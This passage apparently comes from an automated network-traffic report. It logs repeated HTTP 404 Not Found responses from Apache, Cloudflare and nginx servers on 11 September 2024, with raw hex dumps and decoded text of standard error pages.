20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:18:26 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:18:29 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:19:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l232qS49SdojLUekuh%2FJBVEjw2nt63OCqRz4Y1IEYZLsUAryQX2p45V0WS6iFd5wW%2Bs5fmMZCy1FrxZqmyW9FkT1PHNJCtOwHflCZbxOizhzjWz%2Fue7aDglh0VWz9Vy7dya7Lg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c1693e40ae472a7-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:19:45 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jsvWIlM4trV5Y%2BZqVpfvd%2FhHbUYPy9y4ovQoz47zHx%2FrfYcn4NnWtAG8HNJhcRZciluubY22hcNb2bC55%2F4JMWfdr2BecV%2FZR1XSBM9IqVWxxfcNgfAvZFRqKbTFqbXKyxn4NQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c1693f3df4a0f4a-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:19:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F2xuLr1TuQ2KLuTF5lPOxB6q4WsqGUKepN5i%2Bre9rDvTrJ%2F%2B%2B7P6vBkiuL0irh%2Bfg5oTzBo%2BsyZIuBRariB4JmadAGwvx5ZZqUUdwdv3eblw4wuC8zvaYLoolDJBln2VpuJMGw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c169403db5142f2-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:19:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xnA3NFqTD91MEVzKU3yAG79CS%2FCoHlLlDjcbJ2qwwOFSMBBWCTyU4pcWJS7ZMMDJRrySg7sT10aKma%2FlsLy%2FhwmthjUexifD2nYoDLR7XxJ9PY29Bhfxg6yjWxP9g0Vq5F1uCQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c169413c89d41c1-EWRalt-svc: h3=":443"; ma=86400Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 11 Sep 2024 09:20:24 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 11 Sep 2024 09:20:27 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 11 Sep 2024 09:20:29 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 